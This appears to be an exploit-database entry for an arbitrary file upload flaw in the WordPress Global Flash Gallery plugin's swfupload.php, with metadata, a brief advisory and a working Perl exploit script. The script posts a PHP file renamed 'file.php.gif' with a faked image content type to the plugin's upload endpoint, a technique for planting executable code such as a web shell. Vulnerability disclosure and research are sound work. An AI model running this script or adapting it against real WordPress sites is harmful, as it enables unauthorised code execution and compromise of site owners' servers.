WordPress Plugin Global Flash Gallery - 'swfupload.php' Arbitrary File Upload

Author: Ashiyane Digital Security Team
type: webapps
platform: php
port: 
date_added: 2014-01-18 
date_updated: 2015-12-19 
verified: 1 
codes: OSVDB-102423 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/65060/info

The Global Flash Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

#! /usr/bin/perl
  use LWP;
  use HTTP::Request::Common;

  my ($url, $file) = @ARGV;

  my $ua = LWP::UserAgent->new();
  my $req = POST $url,
    Content_Type => 'form-data',
    Content =>    [
  name => $name,
  galleryselect => 1, # Gallery ID (popup.php)
  Filedata => [ "$file", "file.php.gif",  Content_Type =>
  'image/gif' ]
            ];
  my $res = $ua->request( $req );
  if( $res->is_success ) {
    print $res->content;
  } else {
    print $res->status_line, "\n";
  }

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Example URI:
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http://www.example.com/wp-content/plugins/global-flash-galleries/swfupload.php